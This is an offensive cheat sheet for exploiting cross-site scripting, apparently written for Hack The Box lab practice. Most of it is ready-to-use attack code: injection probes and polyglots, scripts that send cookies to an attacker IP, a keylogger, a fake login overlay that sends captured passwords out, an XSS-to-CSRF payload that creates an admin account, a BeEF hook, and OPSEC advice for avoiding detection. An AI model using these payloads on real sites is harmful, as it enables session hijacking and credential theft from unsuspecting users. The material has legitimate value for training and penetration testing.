Cross-Site Scripting (XSS) Exploitation
#Overview
Cross-Site Scripting (XSS) vulnerabilities allow attackers to inject client-side scripts into web pages viewed by other users, enabling session hijacking, credential theft, keylogging, and exploitation of browser-based trust. Reflected XSS executes in a single HTTP request/response cycle, stored XSS persists in the application database, and DOM-based XSS operates entirely within the browser's DOM without server interaction. XSS is frequently used as a stepping stone to more impactful attacks, particularly when chained with CSRF or deserialization vulnerabilities.
#Prerequisites
- Identified user input reflected in page content (search, comment, profile fields)
- A web server for receiving exfiltrated data (Python HTTP server, Netcat)
- Knowledge of the target's browser context and Same-Origin Policy restrictions
#Detection & Enumeration
#Basic XSS Probes
# Simple reflection test
curl -s 'http://target.htb/search?q=<h1>test</h1>' | grep '<h1>test</h1>'
# Common XSS triggers
<script>alert(1)</script>
"><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
# Polyglot probe -- works across multiple contexts
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcl1Ck=alert)()//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)>\x3e
BASH
#Context Analysis
# HTML context: <div>USERINPUT</div>
# Payload: <img src=x onerror=alert(1)>
# Attribute context: <input value="USERINPUT">
# Payload: " onfocus=alert(1) autofocus "
# Script context: <script>var x = 'USERINPUT';</script>
# Payload: '; alert(1); //
# URL context: <a href="USERINPUT">
# Payload: javascript:alert(1)
BASH
#Exploitation / Execution
#Cookie Theft via document.cookie
<!-- Basic cookie exfiltration -->
<script>document.location='http://10.10.14.40/?c='+document.cookie</script>
<!-- Using fetch for stealthier exfiltration -->
<script>fetch('http://10.10.14.40/?c='+document.cookie)</script>
<!-- Image beacon (works without JS on some filters) -->
<img src=x onerror="this.src='http://10.10.14.40/?c='+document.cookie">
HTML
# Listen for exfiltrated cookies
nc -lnvp 80
# GET /?c=session=abc123;token=xyz789
BASH
#Session Hijacking
<!-- Steal session cookie and impersonate user -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://10.10.14.40/steal?cookie=' + encodeURIComponent(document.cookie));
xhr.send();
</script>
HTML
# After obtaining session cookie, set it in browser or use in curl
curl -s -H 'Cookie: session=stolen_cookie_value' http://target.htb/admin
BASH
#Keylogging Payload
<!-- Capture all keystrokes on the page -->
<script>
document.onkeydown = function(e) {
var img = new Image();
img.src = 'http://10.10.14.40/k?key=' + e.key;
};
</script>
HTML
#XSS to Credential Phishing
<!-- Inject a fake login form over the real page -->
<script>
document.body.innerHTML = '<div style="position:fixed;top:20%;left:30%;background:white;padding:20px;border:1px solid #ccc;z-index:9999;">' +
'<h3>Session Expired</h3>' +
'<form id="f">' +
'<input name="user" placeholder="Username"><br>' +
'<input name="pass" type="password" placeholder="Password"><br>' +
'<input type="submit" value="Login">' +
'</form></div>';
document.getElementById('f').onsubmit = function() {
new Image().src = 'http://10.10.14.40/phish?u=' + this.user.value + '&p=' + this.pass.value;
return false;
};
</script>
HTML
#XSS Chained with CSRF
<!-- Force admin user to perform an action via CSRF -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.htb/admin/users/create', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('username=attacker&password=attacker123&role=admin');
</script>
HTML
#XSS to Trigger Server-Side Exploits (Cereal HTB Technique)
<!-- XSS payload that triggers a deserialization vulnerability via XHR from localhost -->
<script>
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://cereal.htb/requests/42');
xhr.setRequestHeader('Authorization', 'Bearer eyJhbGci...');
xhr.send();
</script>
HTML
# Python script to wrap XSS payload and bypass parenthesis filtering
payload = { "json": '{"title": "[XSS](javascript: document.write`<img src=\'http://10.10.14.4/test\' />`)"}' }
# Replace () with \x28 and \x29 for filters that strip parentheses
PYTHON
#Markdown-Based XSS
# XSS via markdown link syntax
[XSS](javascript: document.write`<img src='http://10.10.14.4/test' />`)
# XSS via HTML in markdown (if not sanitized)
<img src=x onerror="alert(1)">
MARKDOWN
#BeEF Framework Overview
# Start BeEF for advanced browser exploitation
sudo beef-xss
# Hook payload
<script src="http://10.10.14.40:3000/hook.js"></script>
# BeEF provides:
# - Browser fingerprinting
# - Keylogging
# - Screenshot capture
# - Browser pivot (port scanning via victim browser)
# - Social engineering modules
# - Persistent hooking via man-in-the-browser
BASH
#Common Pitfalls
- CSP (Content Security Policy) blocking inline scripts -- check CSP header, use allowed sources
- HttpOnly cookies -- cookie theft impossible, switch to session riding/CSRF
- XSS Auditor / Browser XSS filter -- use DOM-based or stored XSS instead
- Markdown sanitization:
sanitize: truemay block HTML -- test markdown-specific vectors - Parentheses filtered -- use backticks (template literals) or
String.fromCharCode
#OPSEC Considerations
alert(1)is the noisiest XSS probe; usedocument.title=XSSor silent probes- External image/callback beacons are visible in network traffic
- BeEF hook.js generates a characteristic HTTP request
- Stored XSS payloads persist and may be discovered during security reviews
- Cookie exfiltration requests appear in server access logs
#Post-Exploitation Value
- Session hijacking for administrative access
- Credential harvesting through phishing overlays
- CSRF exploitation to perform privileged actions
- Browser-based pivoting into internal networks
- Triggering server-side exploits that require localhost access
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| BeEF | https://beefproject.com |
| XSStrike | https://github.com/s0md3v/XSStrike |
| XSS Hunter | https://xsshunter.com |
| PayloadsAllTheThings XSS | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection |
#Source Machines
- Cereal (Hard, Windows) -- Markdown XSS bypasses sanitize:true to trigger localhost deserialization, uses \x28\x29 for parenthesis bypass